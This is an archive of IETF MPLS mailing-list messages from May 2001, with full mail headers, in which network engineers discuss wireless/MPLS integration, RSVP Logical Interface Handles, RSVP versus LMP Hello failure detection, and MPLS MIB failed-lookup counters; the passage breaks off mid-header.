Date: Tue, 29 May 2001 08:46:44 +0530 (IST)
From: "chetan kumar s" <chetan.kumar@wipro.com>
X-Sender: chetansk@soflt.alc.wipinfo.soft.net
Reply-To: chetan.kumar@wipro.com
To: Gao Deyun <dygao_mpls@eyou.com>
cc: mpls@UU.NET
Subject: Re: integration of wireless network and MPLS
In-Reply-To: <20010529095932.74622.qmail@eyou.com>
Message-ID: <Pine.LNX.4.21.0105290843100.12984-100000@soflt.alc.wipinfo.soft.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=X-UNKNOWN
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by ietf.org id XAA10933


On 29 May 2001, Gao Deyun wrote:

> Hi,
> 
>   Someone know about some information about integration of wireless and MPLS
Hi,

There is paper on "Label Switched Packet Transfer for Wireless Cellular
Networks" by Bijan, Rajiv and Esmael. Search on
http://www.researchindex.com/

Thanks
Chetan S

> like wireless ATM? 
>   Thank you in advance!
> 
> Deyun Gao
>   
> 
> 
> 
> 
> 
> --http://www.eyou.com
> --ÎÈ¶¨¿É¿¿µÄÃâ·Ñµç×ÓÐÅÏä  ÓïÒôÓÊ¼þ  ÒÆ¶¯ÊéÇ©  ÈÕÀú·þÎñ  ÍøÂç´æ´¢...ÒÚÓÊÎ´¾¡
> 
> 



From owner-mpls@UU.NET  Mon May 28 23:43:34 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA11429
	for <mpls-archive@lists.ietf.org>; Mon, 28 May 2001 23:43:34 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrba18026;
	Tue, 29 May 2001 03:42:35 GMT
Received: by mail-control.mail.uu.net 
	id QQkrba14731
	for mpls-outgoing; Tue, 29 May 2001 03:41:59 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkrba14726
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 03:41:56 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrba21741
	for <mpls@uu.net>; Tue, 29 May 2001 03:41:56 GMT
Received: from eyou.com by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: [61.136.62.73])
	id QQkrba19738
	for <mpls@uu.net>; Tue, 29 May 2001 03:41:55 GMT
Received: (qmail 40045 invoked from network); 29 May 2001 11:41:54 +0800
Received: from unknown (HELO eyou.com) (172.16.2.1)
  by 172.16.1.1 with SMTP; 29 May 2001 11:41:54 +0800
Received: (qmail 74533 invoked by uid 65534); 29 May 2001 11:41:55 +0800
Date: 29 May 2001 11:41:55 +0800
Message-ID: <20010529114155.74532.qmail@eyou.com>
From: "Gao Deyun" <dygao_mpls@eyou.com>
To: chetan.kumar@wipro.com
CC: mpls@UU.NET
Reply-To: "Gao Deyun" <dygao_mpls@eyou.com>
Subject: Re:&nbsp;integration&nbsp;of&nbsp;wireless&nbsp;network&nbsp;and&nbsp;MPLS
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

  Thank you for your response. I read this paper serveral months ago. And I
have read "Intergration of Mobile IP and MPLS"
(draft-zhong-mobile-ip-mpls-01.txt). Besides, I do not find some other
interesting references about it.
  Do you think that this is important problem to do?

Deyun Gao

In your mail:
>
>On 29 May 2001, Gao Deyun wrote:
>
>> Hi,
>> 
>>   Someone know about some information about integration of wireless and
MPLS
>Hi,
>
>There is paper on "Label Switched Packet Transfer for Wireless Cellular
>Networks" by Bijan, Rajiv and Esmael. Search on
>http://www.researchindex.com/
>
>Thanks
>Chetan S
>
>> like wireless ATM? 
>>   Thank you in advance!
>> 
>> Deyun Gao
>>   
>> 
>> 
>> 
>> 
>> 
>> --http://www.eyou.com
>> --ÎÈ¶¨¿É¿¿µÄÃâ·Ñµç×ÓÐÅÏä  ÓïÒôÓÊ¼þ  ÒÆ¶¯ÊéÇ©  ÈÕÀú·þÎñ 
ÍøÂç´æ´¢...ÒÚÓÊÎ´¾¡
>> 
>> 
>
> 





--http://www.eyou.com
--ÎÈ¶¨¿É¿¿µÄÃâ·Ñµç×ÓÐÅÏä  ÓïÒôÓÊ¼þ  ÒÆ¶¯ÊéÇ©  ÈÕÀú·þÎñ  ÍøÂç´æ´¢...ÒÚÓÊÎ´¾¡




From owner-mpls@UU.NET  Tue May 29 01:10:02 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA12148
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 01:10:01 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrbg17093;
	Tue, 29 May 2001 05:08:42 GMT
Received: by mail-control.mail.uu.net 
	id QQkrbg00425
	for mpls-outgoing; Tue, 29 May 2001 05:08:07 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkrbg00409
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 05:08:00 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkrbg29256
	for <mpls@UU.NET>; Tue, 29 May 2001 05:07:19 GMT
Received: from wiprom2mx1.wipro.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: wiprom2mx1.wipro.com [203.197.164.41])
	id QQkrbg15114
	for <mpls@UU.NET>; Tue, 29 May 2001 05:07:16 GMT
Received: from m2vwall2.wipro.com (m2vwall2.wipro.com [164.164.27.52])
	by wiprom2mx1.wipro.com (8.11.3/8.11.3) with SMTP id f4TAje402503
	for <mpls@UU.NET>; Tue, 29 May 2001 10:45:42 GMT
Received: from soflt.alc.wipinfo.soft.net ([192.168.220.205]) by
          sarovar.mail.wipro.com (Netscape Messaging Server 4.15) with
          ESMTP id GE2ZTO00.1OK; Tue, 29 May 2001 10:43:00 +0530 
Date: Tue, 29 May 2001 10:43:26 +0530 (IST)
From: "chetan kumar s" <chetan.kumar@wipro.com>
X-Sender: chetansk@soflt.alc.wipinfo.soft.net
Reply-To: chetan.kumar@wipro.com
To: Gao Deyun <dygao_mpls@eyou.com>
cc: mpls@UU.NET
Subject: Re:&nbsp;integration&nbsp;of&nbsp;wireless&nbsp;network&nbsp;and&nbsp;MPLS
In-Reply-To: <20010529114155.74532.qmail@eyou.com>
Message-ID: <Pine.LNX.4.21.0105291040180.12984-100000@soflt.alc.wipinfo.soft.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=X-UNKNOWN
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by ietf.org id BAA12148

On 29 May 2001, Gao Deyun wrote:

> Hi,
> 
>   Thank you for your response. I read this paper serveral months ago. And I
> have read "Intergration of Mobile IP and MPLS"
> (draft-zhong-mobile-ip-mpls-01.txt). Besides, I do not find some other
> interesting references about it.
>   Do you think that this is important problem to do?

yes, in my opinian, this is one of most important problem to be taken
up. Wireless last mile, I feel has large potential for growth.

Thanks
Chetan S

> 
> Deyun Gao
> 
> In your mail:
> >
> >On 29 May 2001, Gao Deyun wrote:
> >
> >> Hi,
> >> 
> >>   Someone know about some information about integration of wireless and
> MPLS
> >Hi,
> >
> >There is paper on "Label Switched Packet Transfer for Wireless Cellular
> >Networks" by Bijan, Rajiv and Esmael. Search on
> >http://www.researchindex.com/
> >
> >Thanks
> >Chetan S
> >
> >> like wireless ATM? 
> >>   Thank you in advance!
> >> 
> >> Deyun Gao
> >>   
> >> 
> >> 
> >> 
> >> 
> >> 
> >> --http://www.eyou.com
> >> --ÎÈ¶¨¿É¿¿µÄÃâ·Ñµç×ÓÐÅÏä  ÓïÒôÓÊ¼þ  ÒÆ¶¯ÊéÇ©  ÈÕÀú·þÎñ 
> ÍøÂç´æ´¢...ÒÚÓÊÎ´¾¡
> >> 
> >> 
> >
> > 
> 
> 
> 
> 
> 
> --http://www.eyou.com
> --ÎÈ¶¨¿É¿¿µÄÃâ·Ñµç×ÓÐÅÏä  ÓïÒôÓÊ¼þ  ÒÆ¶¯ÊéÇ©  ÈÕÀú·þÎñ  ÍøÂç´æ´¢...ÒÚÓÊÎ´¾¡
> 
> 



From owner-mpls@UU.NET  Tue May 29 02:12:14 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA23094
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 02:12:14 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrbk23814;
	Tue, 29 May 2001 06:10:48 GMT
Received: by mail-control.mail.uu.net 
	id QQkrbk25099
	for mpls-outgoing; Tue, 29 May 2001 06:10:14 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkrbk25062
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 06:09:53 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkrbk03110
	for <mpls@uu.net>; Tue, 29 May 2001 06:09:05 GMT
Received: from samar.sasken.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: samar.sasken.com [164.164.56.2])
	id QQkrbk17894
	for <mpls@uu.net>; Tue, 29 May 2001 06:09:01 GMT
Received: from samar (localhost [127.0.0.1])
	by samar.sasken.com (8.11.3/8.11.3) with SMTP id f4T68pf22498
	for <mpls@uu.net>; Tue, 29 May 2001 11:38:51 +0530 (IST)
Received: from sasken.com (IDENT:rpjain@pcd-1-150.sasi.com [10.0.19.150])
	by sund2.sasi.com (8.9.3/8.9.3) with ESMTP id LAA05278
	for <mpls@uu.net>; Tue, 29 May 2001 11:37:44 +0530 (IST)
Message-ID: <3B133CB0.D825551E@sasken.com>
Date: Tue, 29 May 2001 11:37:44 +0530
From: Rajesh P Jain <rpjain@sasken.com>
Organization: Sasken
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.14-5.0 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: RSVP : Logical Interface Handle
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

"Hi",
                        In RFC 2205, Section 2.9 (Non - RSVP Clouds),
there is a mention of Logical Interface Handle (LIH).

                        Can someone throw more light on exactly what is
the Logical Interface Handle means???? Is it anyway related to the
Router-Id????

TIA,
            Rajesh P Jain



From owner-mpls@UU.NET  Tue May 29 02:39:54 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA24813
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 02:39:54 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrbm24600;
	Tue, 29 May 2001 06:38:58 GMT
Received: by mail-control.mail.uu.net 
	id QQkrbm27418
	for mpls-outgoing; Tue, 29 May 2001 06:38:27 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkrbm27405
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 06:38:11 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrbm07802
	for <mpls@UU.NET>; Tue, 29 May 2001 06:37:12 GMT
Received: from brahma01.netbrahma.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [164.164.70.67])
	id QQkrbm02740
	for <mpls@UU.NET>; Tue, 29 May 2001 06:37:10 GMT
Received: by BRAHMA01 with Internet Mail Service (5.5.2653.19)
	id <LQ032NMZ>; Tue, 29 May 2001 12:06:32 +0530
Message-ID: <13D467F625FAD511AE2A00D0B7B917D726ECA3@BRAHMA01>
From: Khuzema Pithewan <KhuzemaP@netbrahma.com>
To: mpls@UU.NET, Rajesh P Jain <rpjain@sasken.com>
Subject: RE: RSVP : Logical Interface Handle
Date: Tue, 29 May 2001 12:06:31 +0530
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

I think LIH is noway related to RouterId, here LIH means the interface at
which RSVP will reserve resources...In case of Non-RSVP cloud, RSVP can
receive the RESV message on any interface, it may not be the interface at
which it had sent the PATH message, so in that case it will resreve the
resources on the interface which is referred by LIH.

Khuzema

> ----------
> From: 	Rajesh P Jain
> Sent: 	Tuesday, May 29, 2001 11:37 AM
> To: 	mpls@UU.NET
> Subject: 	RSVP : Logical Interface Handle
> 
> "Hi",
>                         In RFC 2205, Section 2.9 (Non - RSVP Clouds),
> there is a mention of Logical Interface Handle (LIH).
> 
>                         Can someone throw more light on exactly what is
> the Logical Interface Handle means???? Is it anyway related to the
> Router-Id????
> 
> TIA,
>             Rajesh P Jain
> 


From owner-mpls@UU.NET  Tue May 29 03:42:48 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA27117
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 03:42:48 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrbq03533;
	Tue, 29 May 2001 07:39:42 GMT
Received: by mail-control.mail.uu.net 
	id QQkrbq21888
	for mpls-outgoing; Tue, 29 May 2001 07:39:10 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkrbq21871
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 07:38:55 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrbq11471
	for <mpls@UU.NET>; Tue, 29 May 2001 07:37:43 GMT
Received: from pulsar.chromisys.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: 200-139.adsl6.netlojix.net [207.71.200.139] (may be forged))
	id QQkrbq01659
	for <mpls@UU.NET>; Tue, 29 May 2001 07:37:43 GMT
Received: by pulsar.chromisys.com with Internet Mail Service (5.5.2653.19)
	id <LD7YGSJD>; Tue, 29 May 2001 00:34:30 -0700
Message-ID: <C12BBE1C7A8F7344808CD8C2A345DFB81733CE@pulsar.chromisys.com>
From: Jonathan Lang <jplang@calient.net>
To: Dimitrios Pendarakis <DPendarakis@tellium.com>,
        "'Jonathan Lang'"
	 <jplang@calient.net>,
        "'Fong Liaw'" <fliaw@zaffire.com>,
        "'suresh Katukam'"
	 <skatukam@cisco.com>
Cc: "'Jennifer Yates'" <jyates@research.att.com>, mpls@UU.NET,
        ccamp@ops.ietf.org
Subject: RE: Last call - RSVP problems
Date: Tue, 29 May 2001 00:34:29 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Dimitrios,
  If you're using the RSVP Hello to detect the failure of the RSVP module
only, then this is fine.  If you're using the RSVP Hello to detect (or
rather, infer) control channel failures, I have a problem.  For starters, I
don't think it works for parallel (redundant) control channels; if control
channel redundancy is *not* important for SPs, then it's not as much of an
issue, however, I think you're overloading the semantics of the RSVP Hello.

  See additional comments inline.

Thanks,
Jonathan

> 
> Hi Jonathan,
> 
> What needs to be detected here is the inability to send and 
> receive signaling messages to and from your RSVP peer. In this 
> respect, using RSVP Hello is a more accurate mechanism for 
> detecting failures since it is part of the RSVP protocol and 
> independent of the link layer used to realize the control 
> channel. As you point out, if you prefer redundant control 
> channels for resiliency, and want to rely on LMP only, you have
> to correlate all LMP detected failures in order to declare a 
> control channel failure.
This is not correct.  LMP allows you to detect individual control channel
failures, even when there are multiple (redundant) control channels.  The
RSVP Hello cannot do this.

> With RSVP Hello you would rely on a 
> single set of event(s) to detect the failure.
To be clear, the failure of the RSVP module.

> To go even further, what if all your control channels are working
> fine, but your RSVP daemon has crashed, for whatever reason.
> LMP hellos will keep going across but RSVP messages will not...
This is where the RSVP Hello has its place.

> 
> All this points to the (certainly non-trivial) problem of failure 
> detection and correlation at different layers. I am not trying to
> say that RSVP Hello is the perfect or only mechanism we should rely 
> on, but it certainly has a place in addressing the problem.
agreed.  see above comment.

> 
> Thanks,
> Dimitris
> 
> PS. Hopefully we are not too far apart so we might not have
> to keep the discussion going for too long :-)
> In any case I believe it has some relevance here as well.
> 
> 
> > -----Original Message-----
> > From: Jonathan Lang [mailto:jplang@calient.net]
> > Sent: Friday, May 25, 2001 6:56 PM
> > To: 'Dimitrios Pendarakis'; Jonathan Lang; 'Fong Liaw'; 'suresh
> > Katukam'; v.sharma@ieee.org
> > Cc: 'Jennifer Yates'; mpls@UU.NET; ccamp@ops.ietf.org
> > Subject: RE: Last call - RSVP problems
> > 
> > 
> > Dimitris,
> >   The RSVP Hello Extension is intended to detect node 
> failures and not
> > necessarily link (control channel) failures.  In particular, 
> > the tunnel
> > draft says, "It should be noted that node failure detection 
> > is not the same
> > as a link failure detection mechanism, particularly in the 
> > case of multiple
> > parallel unnumbered links."  What happens if you want 
> > redundant control
> > channels for control-channel resiliency?  I believe you would 
> > still want a
> > mechanism to detect control channel (link-layer) failures.
> > 
> >   In LMP, you can have multiple active control channels 
> > between a pair of
> > nodes.  You can configure control channels over shared 
> > Ethernet and over
> > SONET/SDH overhead, etc.  You send keep-alive Hellos over 
> each control
> > channel.  If you so desire, you can send all signaling 
> > messages over the
> > Ethernet control channels.  You can also choose to send all 
> > remaining LMP
> > messages over the SONET/SDH-based control channels.  Keeping 
> > RSVP Hellos as
> > "optional" would be fine.  Making them mandatory doesn't seem 
> > like the right
> > solution.
> > 
> > Thanks,
> > Jonathan
> > 
> > P.S.  Should we move this discussion on the OIF list??
> > 
> > > -----Original Message-----
> > > From: Dimitrios Pendarakis [mailto:DPendarakis@tellium.com]
> > > Sent: Friday, May 25, 2001 3:16 PM
> > > To: 'Jonathan Lang'; 'Fong Liaw'; 'suresh Katukam'; 
> > v.sharma@ieee.org
> > > Cc: 'Jennifer Yates'; mpls@UU.NET; ccamp@ops.ietf.org
> > > Subject: RE: Last call - RSVP problems
> > > 
> > > 
> > > Hi Jonathan,
> > > 
> > > One point to consider is that the signaling control 
> > > channel might be realized over a different link layer 
> > > than LMP. For example, LMP might be running in-fiber
> > > over SONET/SDH overhead bytes, while RSVP is running 
> > > over an out-of-band network such a shared Ethernet.
> > > RSVP Hello allows independent detection of signaling 
> > > channel failure, so it's a useful option to keep.
> > > 
> > > Thanks,
> > > Dimitris
> > > 
> > > Dimitris Pendarakis
> > > Tellium, Inc.
> > > 
> > > 
> > > > -----Original Message-----
> > > > From: Jonathan Lang [mailto:jplang@calient.net]
> > > > Sent: Friday, May 25, 2001 5:30 PM
> > > > To: 'Fong Liaw'; 'suresh Katukam'; v.sharma@ieee.org
> > > > Cc: 'Jennifer Yates'; mpls@UU.NET; ccamp@ops.ietf.org
> > > > Subject: RE: Last call - RSVP problems
> > > > 
> > > > 
> > > > Fong,
> > > > 
> > > > 
> > > > <snip>
> > > > > Same as (2), any proposals that remove the refresh mechanism 
> > > > > is going to be difficult to prove that all cases are covered.
> > > > > 
> > > > > Instead, we (will) recommend the following in OIF UNI 
> document:
> > > > >    
> > > > >    Use RSVP Hello to detect control channel failure.
> > > > Why wouldn't you use the LMP Hello to detect control channel 
> > > > failure?  This
> > > > is exactly what it is designed for.  From 
> > > > draft-ietf-mpls-lsp-tunnel-08.txt,
> > > > 
> > > >   "This (RSVP Hello) mechanism is intended to be used when 
> > > > notification of
> > > > link layer
> > > >    failures is not available and unnumbered links are not 
> > > > used, or when
> > > >    the failure detection mechanisms provided by the link 
> > > layer are not
> > > >    sufficient for timely node failure detection."
> > > >  
> > > > >    If a control channel failure is detected, LSPs states 
> > > > >    are maintained as if a node continues to receive 
> > > > >    RSVP refresh message from the failed control channel.
> > > > >    The recommended Hello timer will be in second range,
> > > > >    instead of ms range specified in RSVP-TE draft.  
> > > > > 
> > > > >    If a control channel failed permanently, manual 
> intervention 
> > > > >    may be required. This is to be studied.
> > > > > 
> > > > > p.s The text is currently being drafted as we type.
> > > > 
> > > 
> > 
> 


From owner-mpls@UU.NET  Tue May 29 03:52:11 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA27187
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 03:52:11 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrbr15575;
	Tue, 29 May 2001 07:50:27 GMT
Received: by mail-control.mail.uu.net 
	id QQkrbr23162
	for mpls-outgoing; Tue, 29 May 2001 07:49:53 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkrbr23117
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 07:49:28 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrbr05315
	for <mpls@UU.NET>; Tue, 29 May 2001 07:49:14 GMT
Received: from mxtlv1.corrigent.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [199.203.64.34])
	id QQkrbr16487
	for <mpls@UU.NET>; Tue, 29 May 2001 07:49:13 GMT
Received: by mxtlv1.corrigent.com with Internet Mail Service (5.5.2650.21)
	id <KSVH3ARQ>; Tue, 29 May 2001 10:48:44 +0200
Message-ID: <8FA6CEF9A4E42B48A5F8DC038655B353725479@mxtlv1.corrigent.com>
From: David Zelig <Davidz@corrigent.com>
To: "'Thomas D. Nadeau'" <tnadeau@cisco.com>,
        Dave Danenberg
	 <dave_danenberg@litchfieldcomm.com>,
        Cheenu Srinivasan
	 <cheenu@alphion.com>
Cc: mpls@UU.NET
Subject: RE: MPLS-TE and MPLS-LSR MIB - Failed Label lookup suggestions/qu
	estions
Date: Tue, 29 May 2001 10:48:43 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Thomas,
 
To detect configuration error all the H/W needs is a one buffer space toward
the S/W to report the last failed lookup, I agree that "any fault any rate
of fault" is not feasible to implelemnt, and it is not realy required.

While many implementations cannot support it, this feature may be added as
optional MIB for ones that can support it.

David

-----Original Message-----
From: Thomas D. Nadeau [mailto:tnadeau@cisco.com]
Sent: Thursday, May 24, 2001 4:06 PM
To: Dave Danenberg; Cheenu Srinivasan
Cc: mpls@UU.NET; Davidz@corrigent.com
Subject: Re: MPLS-TE and MPLS-LSR MIB - Failed Label lookup
suggestions/questions



[Note: Cheenu's new coordinates]

>1) The MPLS-LSR-MIB has a means of counting failed label lookup
>questions (via mplsInterfaceFailedLookup). I would think it handy to
>also supply the actual label that failed. This could be a new (optional)
>object: mplsInterfaceLastFailedLookup (SYNTAX MplsLabel).

         While sounding like a good idea, in practice this is
actually quite difficult (or impossible) when one
considers that most implementations would count and
find the failed label in hardware. The addition of
a time stamp and the actual label in the logic, and
then having to report it up to software is probably
just not going to happen. Further, several of the
implementations I know of don't actually count this
variable due to the fact that labeled packets which are
received for no installed label are simply discarded
before the MPLS logic even looks at the packet.

>2) Let's say a packet arrives at an MPLS interface. The top label lookup
>is OK and the packet is destined for this node so the label is popped.
>Now there is one more label which directs the exposed packet to a
>specific local port. This inner label fails the lookup. So I would think
>it handy to have  two new (optional) objects in the MPLS-TE-MIB
>MplsTunnelPerf table: mplsTunnelPerfFailedLookup and
>mplsTunnelPerfLastFailedLookup.
>
>What do you think?

         Since the switching is going to happen at the LSP
level, this situation would be reported on the LSP as described
above (if even implemented).  The NMS can associate the
LSP errors with the tunnel if need be.

         --Tom




From owner-mpls@UU.NET  Tue May 29 04:58:52 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA27560
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 04:58:51 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrbv09136;
	Tue, 29 May 2001 08:57:17 GMT
Received: by mail-control.mail.uu.net 
	id QQkrbv18252
	for mpls-outgoing; Tue, 29 May 2001 08:56:45 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkrbv18211
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 08:56:26 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrbv08402
	for <mpls@UU.NET>; Tue, 29 May 2001 08:56:03 GMT
Received: from hotmail.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: f244.law14.hotmail.com [64.4.21.244])
	id QQkrbv11714
	for <mpls@UU.NET>; Tue, 29 May 2001 08:56:02 GMT
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Tue, 29 May 2001 01:56:01 -0700
Received: from 212.153.183.58 by lw14fd.law14.hotmail.msn.com with HTTP;	Tue, 29 May 2001 08:56:01 GMT
X-Originating-IP: [212.153.183.58]
From: "MP LS" <stagempls@hotmail.com>
To: mpls@UU.NET, mpls-ops@mplsrc.com
Subject: Vendors who use Ships in the Night
Date: Tue, 29 May 2001 10:56:01 +0200
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F244GxegIqunLOyDc41000080db@hotmail.com>
X-OriginalArrivalTime: 29 May 2001 08:56:01.0924 (UTC) FILETIME=[2FC0E440:01C0E81D]
Sender: owner-mpls@UU.NET
Precedence: bulk

Hello All

I have a question.
Are there any vendors at the moment who already implemented
MPLS and ATM as the Ships in the night principle. For the use in a ATM-LSR.

I would be pleased of anyone can give me some more info also about the way 
the seperate the VP/VCs for ATM and for MPLS.

Greetings,

Niels Sitters
_________________________________________________________________________
Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.



From owner-mpls@UU.NET  Tue May 29 05:18:15 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA27720
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 05:18:15 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrbx25697;
	Tue, 29 May 2001 09:17:00 GMT
Received: by mail-control.mail.uu.net 
	id QQkrbx10890
	for mpls-outgoing; Tue, 29 May 2001 09:16:03 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkrbx10805
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 09:15:52 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrbw00970
	for <mpls@UU.NET>; Tue, 29 May 2001 09:13:55 GMT
Received: from zrc2s03g.nortelnetworks.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [47.103.122.66])
	id QQkrbw18923
	for <mpls@UU.NET>; Tue, 29 May 2001 09:13:55 GMT
Received: from ecpzs003.nortelnetworks.com (zcpzs003.asiapac.nortel.com [47.153.132.177])
	by zrc2s03g.nortelnetworks.com (8.9.3+Sun/8.9.1) with ESMTP id EAA04557
	for <mpls@UU.NET>; Tue, 29 May 2001 04:14:53 -0500 (CDT)
Received: from zcpzd013.asiapac.nortel.com by ecpzs003.nortelnetworks.com;
          Tue, 29 May 2001 17:15:40 +0800
Received: by zcpzd013.asiapac.nortel.com 
